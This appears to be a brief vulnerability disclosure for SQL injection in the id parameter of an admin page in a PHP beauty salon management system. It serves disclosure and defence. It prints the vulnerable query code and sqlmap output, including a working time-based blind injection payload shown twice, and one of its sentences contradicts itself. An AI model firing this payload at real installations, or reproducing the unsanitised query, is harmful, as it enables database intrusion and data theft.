SQL injection vulnerability exists in id parameter of /admin/edit_category.php file of Beauty Salon Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
<?php
    $pid = $_GET['id'];
    $sql = "SELECT * FROM category WHERE id ='$pid' ";
    $run_psql = mysqli_query($con, $sql);
    $prow = mysqli_fetch_array($run_psql);
?>
```

```
sqlmap identified the following injection point(s) with a total of 248 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=0' AND (SELECT 3854 FROM (SELECT(SLEEP(5)))kmiy) AND 'LhvA'='LhvA
---
```

“

Parameter: id (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=0' AND (SELECT 3854 FROM (SELECT(SLEEP(5)))kmiy) AND 'LhvA'='LhvA

“

Source Download：

https://www.campcodes.com/projects/beauty-salon-management-system-in-php-and-mysqli/